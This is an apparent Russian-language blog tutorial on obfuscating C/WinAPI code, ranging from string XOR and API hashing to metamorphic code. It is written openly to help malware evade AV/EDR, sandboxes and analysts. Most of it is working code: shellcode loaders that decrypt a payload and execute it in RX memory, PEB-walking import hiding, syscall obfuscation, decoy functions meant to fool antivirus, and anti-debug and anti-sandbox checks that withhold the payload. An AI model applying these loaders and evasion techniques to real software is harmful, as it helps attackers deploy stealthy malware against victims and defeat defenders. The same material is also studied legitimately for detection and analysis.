Обфускация кода C/WinAPI: от основ до продвинутых техник

Posted on 28 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Beginner → Expert
Автор: Aka Tor

Введение

Обфускация — это искусство сделать код непонятным для анализа, сохраняя его функциональность. В контексте offensive security, обфускация WinAPI-кода нужна для обхода:

- **Статического анализа** — AV/EDR сканируют Import Address Table (IAT), строки, байтовые паттерны
- **Динамического анализа** — sandbox'ы отслеживают вызовы API
- **Реверс-инжиниринга** — аналитики разбирают малварь в IDA Pro / Ghidra

Эта статья — полный гайд: от простого XOR до метаморфного кода с compile-time обфускацией.

Часть 1: Основы (Beginner)

---

1. Обфускация строк — первый шаг

1.1 Проблема: строки в открытом виде

Самая частая ошибка — строки в коде видны при `strings` анализе:

```
// ПЛОХО: строки видны в бинарнике
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\lsass.exe", ...);
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
FARPROC pFunc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

// strings.exe найдёт:
// "C:\Windows\System32\lsass.exe"
// "ntdll.dll"
// "NtAllocateVirtualMemory"
// → мгновенный детект
```

1.2 XOR-шифрование строк

Простейший способ — XOR каждого байта с ключом:

```
// XOR-шифрование строки с однобайтовым ключом
void XorString(char* str, int len, BYTE key) {
    for (int i = 0; i < len; i++) {
        str[i] ^= key;
    }
}

// Использование:
// 1. Зашифровать строку заранее (offline или при компиляции)
// 2. В рантайме — расшифровать перед использованием

// Зашифрованная строка "ntdll.dll" с ключом 0x41:
BYTE encNtdll[] = { 0x2F, 0x35, 0x25, 0x2D, 0x2D, 0x0E, 0x25, 0x2D,
0x2D, 0x00 };

void main() {
    char ntdll[10];
    memcpy(ntdll, encNtdll, sizeof(encNtdll));
    XorString(ntdll, 9, 0x41);  // расшифровка: "ntdll.dll"
```

```
    HMODULE h = LoadLibraryA(ntdll);

    // Очистить строку после использования!
    SecureZeroMemory(ntdll, sizeof(ntdll));
}
```

1.3 Проблема однобайтового XOR

Однобайтовый XOR тривиально ломается:

```
// Проблема: XOR с одним ключом — линейное шифрование
// Инструменты типа xortool автоматически подбирают ключ
// Решение: многобайтовый ключ

void XorMultiKey(PBYTE data, int len, PBYTE key, int keyLen) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key[i % keyLen];
    }
}

// 16-байтовый ключ значительно усложняет брутфорс
BYTE key[] = { 0x4A, 0x7B, 0x1C, 0xDE, 0x91, 0x33, 0xF0, 0xA2,
               0x5E, 0xC7, 0x88, 0x14, 0x6D, 0xB9, 0x02, 0xE5 };
```

1.4 Compile-time строковая обфускация (C++)

```
// Compile-time XOR: строка шифруется при компиляции,
// расшифровывается в рантайме
// В бинарнике строки НЕТ — только шифротекст

template<int N, char Key>
struct ObfString {
    char data[N];

    constexpr ObfString(const char (&str)[N]) {
        for (int i = 0; i < N; i++) {
            data[i] = str[i] ^ Key;
        }
    }
```

```
    // Расшифровка в рантайме (на стеке, не в .rdata)
    char* decrypt() const {
        // Выделяем на стеке — не будет видно в heap dump
        char* buf = (char*)_alloca(N);
        for (int i = 0; i < N; i++) {
            buf[i] = data[i] ^ Key;
        }
        return buf;
    }
};

// Макрос для удобства
#define OBF(str) ([]() { \
    constexpr ObfString<sizeof(str), 0x5A> s(str); \
    return s.decrypt(); \
}())

// Использование:
HMODULE h = LoadLibraryA(OBF("ntdll.dll"));
// В бинарнике строки "ntdll.dll" нет!
```

1.5 Stack strings — строки на стеке

```
// Stack strings: каждый символ присваивается отдельно
// Строка не существует как целое в .rdata секции
// Собирается только в рантайме на стеке

char ntdll[10];
ntdll[0] = 'n';
ntdll[1] = 't';
ntdll[2] = 'd';
ntdll[3] = 'l';
ntdll[4] = 'l';
ntdll[5] = '.';
ntdll[6] = 'd';
ntdll[7] = 'l';
ntdll[8] = 'l';
ntdll[9] = '\0';
```

```
HMODULE h = LoadLibraryA(ntdll);

// Компилятор может оптимизировать обратно в строку!
// Используем volatile или pragma optimize("", off):
#pragma optimize("", off)
void BuildString(char* buf) {
    buf[0] = 'n'; buf[1] = 't'; buf[2] = 'd';
    buf[3] = 'l'; buf[4] = 'l'; buf[5] = '.';
    buf[6] = 'd'; buf[7] = 'l'; buf[8] = 'l';
    buf[9] = '\0';
}
#pragma optimize("", on)
```

---

2. Скрытие WinAPI импортов

2.1 Проблема: Import Address Table

Когда вы вызываете `CreateRemoteThread` напрямую, она попадает в IAT бинарника. AV/EDR сканирует IAT:

```
$ dumpbin /imports payload.exe
    ...
    KERNEL32.dll
        CreateRemoteThread    ← RED FLAG
        VirtualAllocEx        ← RED FLAG
        WriteProcessMemory    ← RED FLAG
    ...
→ Мгновенный детект по комбинации импортов
```

2.2 Dynamic API Resolution — GetProcAddress

```
// Вместо прямого вызова — резолвим адрес в рантайме
// IAT не содержит подозрительных импортов

typedef HANDLE (WINAPI *pCreateRemoteThread)(
    HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
    LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD
```

```
);

// Загружаем и резолвим
HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); // или
GetModuleHandleA
pCreateRemoteThread fnCreateRemoteThread =
    (pCreateRemoteThread)GetProcAddress(hKernel32,
"CreateRemoteThread");

// Вызываем через указатель
fnCreateRemoteThread(hProcess, NULL, 0, startAddr, param, 0, NULL);

// IAT теперь содержит только:
// LoadLibraryA
// GetProcAddress
// Гораздо менее подозрительно
```

2.3 Проблема: строки «CreateRemoteThread» всё ещё видны

Комбинируем с обфускацией строк:

```
// Зашифрованные имена функций
BYTE encFuncName[] = { /* зашифрованное "CreateRemoteThread" */ };
char funcName[32];
XorMultiKey((PBYTE)funcName, sizeof(encFuncName), key, sizeof(key));

pCreateRemoteThread fn =
(pCreateRemoteThread)GetProcAddress(hKernel32, funcName);
SecureZeroMemory(funcName, sizeof(funcName));
```

2.4 Но GetProcAddress/LoadLibrary тоже палятся!

EDR хукает `GetProcAddress` и `LoadLibrary`. Решение — резолвить API вручную через PEB:

```
// Custom GetModuleHandle: поиск модуля через PEB
// Не вызывает LoadLibrary/GetModuleHandle — обходит хуки

HMODULE CustomGetModuleHandle(DWORD moduleHash) {
```

```
    // Шаг 1: Получить PEB через TEB (Thread Environment Block)
    // x64: PEB находится в GS:[0x60]
    PPEB pPeb;
    #ifdef _WIN64
        pPeb = (PPEB)__readgsqword(0x60);
    #else
        pPeb = (PPEB)__readfsdword(0x30);
    #endif

    // Шаг 2: Пройти по списку загруженных модулей
    PPEB_LDR_DATA pLdr = pPeb->Ldr;
    PLIST_ENTRY head = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    while (entry != head) {
        PLDR_DATA_TABLE_ENTRY mod = CONTAINING_RECORD(
            entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        // Шаг 3: Хэшируем имя модуля и сравниваем
        if (HashString(mod->BaseDllName.Buffer) == moduleHash) {
            return (HMODULE)mod->DllBase;
        }
        entry = entry->Flink;
    }
    return NULL;
}

// Custom GetProcAddress: поиск функции через Export Directory
FARPROC CustomGetProcAddress(HMODULE hModule, DWORD funcHash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hModule +
dos->e_lfanew);

    // Export Directory
    DWORD exportRVA = nt->OptionalHeader
        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
        (PBYTE)hModule + exportRVA);
```

```
    PDWORD nameRVAs = (PDWORD)((PBYTE)hModule +
exports->AddressOfNames);
    PDWORD funcRVAs = (PDWORD)((PBYTE)hModule +
exports->AddressOfFunctions);
    PWORD ordinals = (PWORD)((PBYTE)hModule +
exports->AddressOfNameOrdinals);

    for (DWORD i = 0; i < exports->NumberOfNames; i++) {
        char* name = (char*)((PBYTE)hModule + nameRVAs[i]);
        if (HashString(name) == funcHash) {
            return (FARPROC)((PBYTE)hModule + funcRVAs[ordinals[i]]);
        }
    }
    return NULL;
}
```

---

3. API Hashing — скрытие имён функций

3.1 Зачем хэши

Даже зашифрованные строки можно расшифровать в дампе памяти. Хэш имени функции — необратим. Вместо строки `"NtAllocateVirtualMemory"` используем число `0x1B2C3D4E`.

3.2 DJB2 Hash

```
// DJB2: простой и быстрый хэш
DWORD djb2(const char* str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++)) {
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
    }
    return hash;
}
```

```
// Предвычисленные хэши (считаем offline):
// djb2("kernel32.dll")        = 0x6A4ABC5B
// djb2("NtAllocateVirtualMemory") = 0x1B2C3D4E
// djb2("CreateRemoteThread")     = 0xAABBCCDD

#define HASH_KERNEL32          0x6A4ABC5B
#define HASH_CREATE_REMOTE_THR 0xAABBCCDD

// Резолвим по хэшу — в бинарнике нет имён функций!
HMODULE hK32 = CustomGetModuleHandle(HASH_KERNEL32);
FARPROC fn = CustomGetProcAddress(hK32, HASH_CREATE_REMOTE_THR);
```

3.3 ROR13 Hash (используется Metasploit)

```
// ROR13: ротация вправо на 13 бит, классика Metasploit
DWORD ror13(const char* str) {
    DWORD hash = 0;
    while (*str) {
        hash = (hash >> 13) | (hash << (32 - 13)); // rotate right 13
        hash += *str++;
    }
    return hash;
}

// Проблема: ROR13 хэши уже в базах AV/EDR!
// Решение: модифицированный хэш (добавить seed, изменить rotation)
```

3.4 Custom Hash с seed

```
// Custom hash: уникальный для каждого билда
// Seed генерируется случайно при компиляции

#define HASH_SEED 0xDEADBEEF  // менять при каждом билде!

DWORD CustomHash(const char* str) {
    DWORD hash = HASH_SEED;
    while (*str) {
        hash ^= (BYTE)*str++;
        hash = (hash >> 7) | (hash << 25);  // rotate right 7
```

```
        hash *= 0x01000193;  // FNV prime
        hash ^= HASH_SEED;
    }
    return hash;
}

// Предвычисляем хэши с тем же seed:
// python: custom_hash("CreateRemoteThread", seed=0xDEADBEEF)
// Каждый билд с разным seed — разные хэши — не в базах AV
```

Часть 2: Средний уровень (Intermediate)

---

4. Шифрование payload

4.1 XOR шеллкода

```
// XOR-шифрование шеллкода с многобайтовым ключом
// Шеллкод хранится зашифрованным в .data или .rdata секции

// Зашифрованный шеллкод (зашифровать offline):
unsigned char encShellcode[] = {
    0x8B, 0x3F, 0xA1, 0x55, 0x7C, 0xDE, 0x90, 0x12, // ...
    // ... сотни байт зашифрованного шеллкода
};

unsigned char key[] = {
    0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x11, 0x22,
    0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0x00
};

void DecryptAndExecute() {
    // Расшифровка
    SIZE_T scSize = sizeof(encShellcode);
    PBYTE sc = (PBYTE)malloc(scSize);
```

```
    memcpy(sc, encShellcode, scSize);

    for (SIZE_T i = 0; i < scSize; i++) {
        sc[i] ^= key[i % sizeof(key)];
    }

    // Выделение executable памяти
    PVOID execMem = VirtualAlloc(NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(execMem, sc, scSize);

    // Смена прав: RW → RX
    DWORD oldProtect;
    VirtualProtect(execMem, scSize, PAGE_EXECUTE_READ, &oldProtect);

    // Выполнение
    ((void(*)())execMem)();

    // Очистка
    SecureZeroMemory(sc, scSize);
    free(sc);
}
```

4.2 AES-шифрование (более стойкое)

```
// AES-256 шифрование шеллкода через WinAPI (BCrypt)
// AES не ломается xortool — реальное шифрование

#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

BOOL AesDecrypt(PBYTE ciphertext, DWORD ctLen, PBYTE key, PBYTE iv,
                PBYTE* plaintext, DWORD* ptLen) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;

    // Открыть провайдер AES
```

```
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);

    // Установить режим CBC
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
        sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    // Создать ключ
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);

    // Узнать размер plaintext
    BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
        iv, 16, NULL, 0, ptLen, BCRYPT_BLOCK_PADDING);

    // Расшифровать
    *plaintext = (PBYTE)malloc(*ptLen);
    BYTE ivCopy[16];
    memcpy(ivCopy, iv, 16); // BCryptDecrypt модифицирует IV
    BCryptDecrypt(hKey, ciphertext, ctLen, NULL,
        ivCopy, 16, *plaintext, *ptLen, ptLen, BCRYPT_BLOCK_PADDING);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

// Использование:
BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16]  = { /* 128-bit IV */ };
PBYTE decrypted = NULL;
DWORD decLen = 0;

AesDecrypt(encShellcode, sizeof(encShellcode),
           aesKey, aesIV, &decrypted, &decLen);
// ... copy to RX memory and execute
```

4.3 Шифрование через SystemFunction032/033 (без BCrypt)

```
// SystemFunction032/033: RC4 шифрование через недокументированную
WinAPI
// Преимущество: не импортирует bcrypt.lib, менее подозрительно в IAT

typedef NTSTATUS (WINAPI *pSystemFunction032)(
    struct USTRING* data,
    struct USTRING* key
);

struct USTRING {
    DWORD Length;
    DWORD MaximumLength;
    PVOID Buffer;
};

void RC4Decrypt(PBYTE data, DWORD dataLen, PBYTE key, DWORD keyLen) {
    // Резолвим SystemFunction032 динамически
    HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
    pSystemFunction032 fn = (pSystemFunction032)
        GetProcAddress(hAdvapi, "SystemFunction032");

    struct USTRING dataStruct = { dataLen, dataLen, data };
    struct USTRING keyStruct  = { keyLen, keyLen, key };

    fn(&dataStruct, &keyStruct);
    // RC4 — симметричный, вызов дважды = расшифровка
}

// SystemFunction033 = то же самое, альтернативная точка входа
// Некоторые AV детектят "SystemFunction032" — используй API hashing
```

---

5. Control Flow Obfuscation — запутывание логики

5.1 Opaque predicates — ложные условия

```
// Opaque predicate: условие, результат которого известен
// при компиляции, но не при статическом анализе

// Математически всегда true: x*x >= 0
// Но IDA/Ghidra не могут это доказать → видят два пути выполнения

void ExecutePayload(PBYTE shellcode, int x) {
    if ((x * x + 1) > 0) {  // всегда true для int
        // Настоящий код
        ((void(*)())shellcode)();
    } else {
        // Мёртвый код — никогда не выполнится
        // Но дизассемблер не знает этого
        MessageBoxA(NULL, "Hello World", "Test", 0);
        ExitProcess(0);
        // Добавляем фейковый "безопасный" код
        // чтобы sandbox считал программу безвредной
    }
}

// Более сложные opaque predicates:
// (x * (x + 1)) % 2 == 0  → всегда true (произведение
последовательных чисел чётно)
// (x * x * x) % 6 == x % 6 → всегда true (по малой теореме Ферма-
подобной)

int OpaquePredicate1(int x) { return (x * x + x) % 2 == 0; }      //
always true
int OpaquePredicate2(int x) { return (x | (x - 1)) >= (x - 1); }  //
always true
int OpaquePredicate3(int x) { return ((x ^ 0xFF) + 1) != x; }     //
almost always true
```

5.2 Control Flow Flattening

```
// Control Flow Flattening: линейный код превращается в switch-case
// Дизассемблер видит один большой switch вместо логической
```

последовательности

```
// Оригинальный код:
// Step1(); Step2(); Step3(); Step4();

// После flattening:
void FlattenedFunction() {
    int state = 1;
    int running = 1;

    while (running) {
        switch (state) {
            case 1:
                // Step 1: Resolve APIs
                hKernel32 = CustomGetModuleHandle(HASH_KERNEL32);
                state = 4;  // следующий state не последовательный!
                break;

            case 4:
                // Step 2: Allocate memory
                mem = VirtualAlloc(NULL, size, MEM_COMMIT,
PAGE_READWRITE);
                state = 2;
                break;

            case 2:
                // Step 3: Decrypt shellcode
                XorDecrypt(encPayload, sizeof(encPayload), key);
                state = 7;
                break;

            case 7:
                // Step 4: Copy and execute
                memcpy(mem, encPayload, sizeof(encPayload));
                state = 3;
                break;

            case 3:
```

```
                // Step 5: Change protection
                VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
                state = 9;
                break;

            case 9:
                // Step 6: Execute
                ((void(*)())mem)();
                running = 0;
                break;

            // Мёртвые кейсы — junk code для запутывания
            case 5:
                MessageBoxA(NULL, "OK", "OK", 0);
                state = 6;
                break;
            case 6:
                ExitProcess(0);
                break;
            case 8:
                Sleep(1000);
                state = 1;
                break;
        }
    }
}

// В дизассемблере: один большой dispatch loop
// Автоматическое восстановление CFG — крайне сложно
// Аналитик видит 9 case'ов и не знает порядок выполнения
```

5.3 Bogus Control Flow — фейковые ветки

```
// Добавляем множество фейковых if/else, которые никогда не выполнятся
// но дизассемблер не может это доказать

volatile int g_seed = 42;
```

```
void ObfuscatedLoader() {
    int r = g_seed;

    if (r * r < 0) { // impossible для int*int без overflow //
Фейковый путь: безобидный код printf("Normal application
starting...\n"); CreateWindowExA(0, "BUTTON", "OK", 0, 0, 0, 100, 50,
0, 0, 0, 0); return; } // Настоящий код PBYTE sc = DecryptPayload();
if ((r & 1) == (r & 1)) { // тавтология, всегда true PVOID mem =
VirtualAlloc(NULL, scSize, MEM_COMMIT, PAGE_READWRITE); memcpy(mem,
sc, scSize); if (r + 1 > r) {  // почти всегда true (кроме INT_MAX)
            VirtualProtect(mem, scSize, PAGE_EXECUTE_READ, &old);
            ((void(*)())mem)();
        } else {
            // Ещё один фейковый путь
            WriteFile(INVALID_HANDLE_VALUE, "log.txt", 7, &w, NULL);
        }
    }
}
```

---

6. Junk Code Insertion — мусорный код

6.1 NOP-эквиваленты

```
// Вставка кода, который ничего не делает, но занимает место
// Увеличивает размер функции, затрудняет pattern matching

void PayloadWithJunk() {
    // Junk: бессмысленные но валидные операции
    volatile int junk1 = 0x12345678;
    junk1 ^= 0xDEADBEEF;
    junk1 = (junk1 >> 3) | (junk1 << 29);
    junk1 *= 0x01000193;

    // Настоящий код
    HMODULE h = LoadLibraryA(OBF("ntdll.dll"));
```

```
    // Ещё junk
    volatile DWORD junk2 = GetTickCount();
    junk2 = junk2 * junk2 + 17;
    if (junk2 == 0x13371337) { ExitProcess(0); } // никогда не true

    // Настоящий код
    FARPROC fn = GetProcAddress(h, OBF("NtAllocateVirtualMemory"));

    // Junk: бессмысленный цикл
    volatile int junk3 = 0;
    for (volatile int i = 0; i < 10; i++) {
        junk3 += i * i;
        junk3 ^= (junk3 << 3);
    }

    // Настоящий код продолжается...
}
```

6.2 Dead code — недостижимый код

```
// Dead code: целые функции, которые никогда не вызываются
// Увеличивают размер бинарника, маскируют реальную функциональность

// Фейковая "полезная" функция
void ProcessLogFile(const char* path) {
    HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, NULL,
        OPEN_EXISTING, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        char buffer[4096];
        DWORD read;
        ReadFile(hFile, buffer, sizeof(buffer), &read, NULL);
        // "Обработка лога" — безобидный код
        for (DWORD i = 0; i < read; i++) {
            if (buffer[i] == '\n') { /* count lines */ }
        }
        CloseHandle(hFile);
    }
}
```

```
// Фейковая GUI функция
void ShowSettingsDialog() {
    // Создание окна настроек — выглядит как обычное приложение
    HWND hwnd = CreateWindowExA(0, "STATIC", "Settings",
        WS_OVERLAPPEDWINDOW, 100, 100, 400, 300, NULL, NULL, NULL,
NULL);
    ShowWindow(hwnd, SW_SHOW);
    UpdateWindow(hwnd);
}

// Ни ProcessLogFile, ни ShowSettingsDialog никогда не вызываются
// Но AV видит "нормальные" API вызовы в IAT и считает файл легитимным
```

Часть 3: Продвинутый уровень (Advanced)

---

7. Обфускация вызовов WinAPI

7.1 API Hashing + Dynamic Resolution (полный пример)

```
// Полная система: custom hash + PEB walking + no IAT imports
// Ни одного подозрительного импорта в IAT

// Хэш-функция с seed (менять при каждом билде)
#define SEED 0xC0FFEE42

DWORD ApiHash(const char* str) {
    DWORD hash = SEED;
    while (*str) {
        hash = ((hash >> 5) | (hash << 27)) + *str++;
        hash ^= SEED;
    }
    return hash;
}
```

```
// Предвычисленные хэши
#define H_KERNEL32                  0xA7B3C1D2
#define H_NTDLL                     0xE4F5A6B7
#define H_VirtualAlloc              0x1234ABCD
#define H_VirtualProtect            0x5678EF01
#define H_CreateThread              0x9ABC2345

// Unified resolver
FARPROC Resolve(DWORD moduleHash, DWORD funcHash) {
    HMODULE hMod = CustomGetModuleHandle(moduleHash);
    if (!hMod) return NULL;
    return CustomGetProcAddress(hMod, funcHash);
}

// Typedefs для функций
typedef LPVOID (WINAPI *tVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);

// Использование
void Execute() {
    tVirtualAlloc pVA = (tVirtualAlloc)Resolve(H_KERNEL32,
H_VirtualAlloc);
    tVirtualProtect pVP = (tVirtualProtect)Resolve(H_KERNEL32,
H_VirtualProtect);

    PVOID mem = pVA(NULL, scSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
    // ... decrypt and copy shellcode ...
    DWORD old;
    pVP(mem, scSize, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
}
```

7.2 Syscall Obfuscation — прямые syscall с обфускацией

```
// Вместо вызова WinAPI — прямой syscall с обфусцированным SSN
// Ни kernel32.dll, ни ntdll.dll не вызываются через IAT
```

```
// SSN определяется в рантайме через парсинг ntdll
DWORD GetObfuscatedSSN(DWORD funcHash) {
    HMODULE hNtdll = CustomGetModuleHandle(H_NTDLL);
    FARPROC fn = CustomGetProcAddress(hNtdll, funcHash);

    PBYTE stub = (PBYTE)fn;
    if (stub[0] == 0x4C && stub[3] == 0xB8) {
        DWORD ssn = *(DWORD*)(stub + 4);
        // Обфускация SSN — XOR с константой
        return ssn ^ 0xDEAD;
    }
    return 0;
}

// При вызове — деобфускация
// mov eax, obfuscated_ssn
// xor eax, 0xDEAD        ; деобфускация SSN
// mov r10, rcx
// syscall
```

7.3 Function Pointer Obfuscation

```
// Обфускация указателей на функции
// Даже в дампе памяти указатели не указывают на реальные функции

// XOR указателя с ключом
#define PTR_KEY 0xDEADCAFEBEEFF00D

typedef LPVOID (*fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

// Сохранение обфусцированного указателя
UINT_PTR obfVirtualAlloc;

void InitApis() {
    fnVirtualAlloc real = (fnVirtualAlloc)Resolve(H_KERNEL32,
H_VirtualAlloc);
    // Обфускация: XOR с ключом
    obfVirtualAlloc = (UINT_PTR)real ^ PTR_KEY;
```

```
}

// Деобфускация перед вызовом
LPVOID CallVirtualAlloc(LPVOID addr, SIZE_T size, DWORD type, DWORD
protect) {
    fnVirtualAlloc fn = (fnVirtualAlloc)(obfVirtualAlloc ^ PTR_KEY);
    return fn(addr, size, type, protect);
}

// В дампе памяти obfVirtualAlloc = 0x7FF8CAFE1234 ^
0xDEADCAFEBEEFF00D
// = мусорное число, не указывающее на VirtualAlloc
```

---

8. Anti-Analysis техники

8.1 Anti-Debug

```
// Множество проверок на отладчик
// Комбинируй несколько — один метод легко обходится

// Метод 1: IsDebuggerPresent (тривиально обходится)
if (IsDebuggerPresent()) { ExitProcess(0); }

// Метод 2: PEB->BeingDebugged (то же, но без API вызова)
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (pPeb->BeingDebugged) { ExitProcess(0); }

// Метод 3: NtGlobalFlag
// При отладке NtGlobalFlag содержит флаги heap debugging
DWORD ntGlobalFlag = *(DWORD*)((PBYTE)pPeb + 0xBC); // x64 offset
if (ntGlobalFlag & 0x70) { ExitProcess(0); } // FLG_HEAP_*

// Метод 4: CheckRemoteDebuggerPresent
BOOL debugged = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debugged);
if (debugged) { ExitProcess(0); }
```

```
// Метод 5: NtQueryInformationProcess
typedef NTSTATUS (NTAPI *pNtQIP)(HANDLE, DWORD, PVOID, ULONG, PULONG);
pNtQIP NtQIP = (pNtQIP)GetProcAddress(GetModuleHandleA("ntdll.dll"),
    "NtQueryInformationProcess");

DWORD debugPort = 0;
NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
// ProcessDebugPort (7): != 0 если отладчик
if (debugPort) { ExitProcess(0); }

// Метод 6: Timing check
LARGE_INTEGER freq, t1, t2;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&t1);
// ... какая-то операция ...
QueryPerformanceCounter(&t2);
// Под отладчиком — время значительно больше
if ((t2.QuadPart - t1.QuadPart) > freq.QuadPart / 100) {
    ExitProcess(0);  // > 10ms = вероятно под отладкой
}

// Метод 7: Hardware breakpoint detection
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
    ExitProcess(0);  // кто-то поставил breakpoints
}

// Метод 8: INT 2D — anti-debug trap
// В отладчике INT 2D ведёт себя иначе
__try {
    __asm { int 0x2D }
} __except (EXCEPTION_EXECUTE_HANDLER) {
    // Нормальное выполнение — нет отладчика
}
// Если отладчик — исключение может быть не поймано
```

8.2 Anti-Sandbox

```
// Детект sandbox/VM — если sandbox, не выполняем payload

// Проверка 1: Мало RAM (sandbox обычно 2-4GB)
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) { return; } // < 4GB

// Проверка 2: Мало ядер CPU
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) { return; } // 1 ядро = VM

// Проверка 3: Малый размер диска
ULARGE_INTEGER diskSize;
GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);
if (diskSize.QuadPart < 60LL * 1024 * 1024 * 1024) { return; } // <
60GB

// Проверка 4: Время работы системы (sandbox только что загружен)
if (GetTickCount64() < 10 * 60 * 1000) { return; } // uptime < 10
минут

// Проверка 5: Курсор не двигается (нет пользователя)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) { return; } // курсор не двигается

// Проверка 6: Мало процессов (sandbox — чистая система)
DWORD procs[1024], needed;
EnumProcesses(procs, sizeof(procs), &needed);
if (needed / sizeof(DWORD) < 50) { return; } // < 50 процессов

// Проверка 7: Username / hostname
char user[256];
```

```
DWORD userLen = sizeof(user);
GetUserNameA(user, &userLen);
DWORD userHash = ApiHash(user);
// Известные sandbox usernames:
// "sandbox", "malware", "virus", "sample", "test"
if (userHash == HASH_SANDBOX || userHash == HASH_MALWARE) { return; }

// Проверка 8: MAC address vendor (VMware, VirtualBox, Hyper-V)
// VMware: 00:0C:29, 00:50:56
// VirtualBox: 08:00:27
// Hyper-V: 00:15:5D
```

8.3 Anti-Disassembly

```
; Anti-disassembly tricks: ломают линейный дизассемблер

; Trick 1: Fake conditional jump
; jz target и jnz target подряд = unconditional jump
; Но дизассемблер думает что после jnz есть ещё код
    xor eax, eax           ; ZF = 1
    jz real_code           ; jump taken
    jnz real_code          ; never reached, но дизассемблер парсит
дальше
    db 0xE8                ; начало CALL инструкции — ломает парсинг
                           ; дизассемблер пытается декодировать как
call
                           ; и теряет синхронизацию

real_code:
    ; настоящий код здесь
    mov rax, rcx

; Trick 2: Opaque predicate + junk bytes
    mov eax, 1
    test eax, eax
    jnz skip_junk          ; всегда прыгает
    db 0xFF, 0x25          ; jmp [rip+...] — ломает дизассемблер
    db 0x00, 0x00, 0x00, 0x00
```

```
skip_junk:
    ; реальный код

; Trick 3: Self-modifying code
    lea rax, [rip + patch_target]
    mov byte ptr [rax], 0x90    ; патчим следующий байт на NOP

patch_target:
    db 0xCC                     ; INT3 (breakpoint) — заменится на NOP
    ; код продолжается
```

Часть 4: Экспертный уровень (Expert)

---

9. Метаморфный код

9.1 Instruction Substitution

```
// Замена инструкций эквивалентными
// Каждый билд использует разные инструкции для одной операции

// mov eax, 0 → 6 вариантов:
// 1. xor eax, eax
// 2. sub eax, eax
// 3. and eax, 0
// 4. mov eax, 0
// 5. push 0; pop eax
// 6. lea eax, [0]

// add eax, 5 → варианты:
// 1. add eax, 5
// 2. sub eax, -5
// 3. lea eax, [eax + 5]
// 4. inc eax; inc eax; inc eax; inc eax; inc eax
// 5. add eax, 3; add eax, 2
```

```
typedef struct {
    BYTE* bytes;
    int length;
} INSTRUCTION;

// Генератор: для каждой базовой операции случайно выбирает эквивалент
INSTRUCTION GenerateMovZero(int reg) {
    INSTRUCTION inst;
    switch (GetRandomInt() % 4) {
        case 0: // xor reg, reg
            inst.bytes = "\x31\xC0"; // xor eax, eax (для eax)
            inst.length = 2;
            break;
        case 1: // sub reg, reg
            inst.bytes = "\x29\xC0"; // sub eax, eax
            inst.length = 2;
            break;
        case 2: // and reg, 0
            inst.bytes = "\x83\xE0\x00"; // and eax, 0
            inst.length = 3;
            break;
        case 3: // push 0; pop reg
            inst.bytes = "\x6A\x00\x58"; // push 0; pop eax
            inst.length = 3;
            break;
    }
    return inst;
}
```

9.2 Register Reassignment

```
// Каждый билд использует разные регистры для тех же операций
// Оригинал: mov eax, [addr]; xor eax, key; mov [addr], eax
// Вариант 1: mov ecx, [addr]; xor ecx, key; mov [addr], ecx
// Вариант 2: mov edx, [addr]; xor edx, key; mov [addr], edx

typedef enum { REG_EAX=0, REG_ECX=1, REG_EDX=2, REG_EBX=3,
               REG_ESI=6, REG_EDI=7 } REG;
```

```
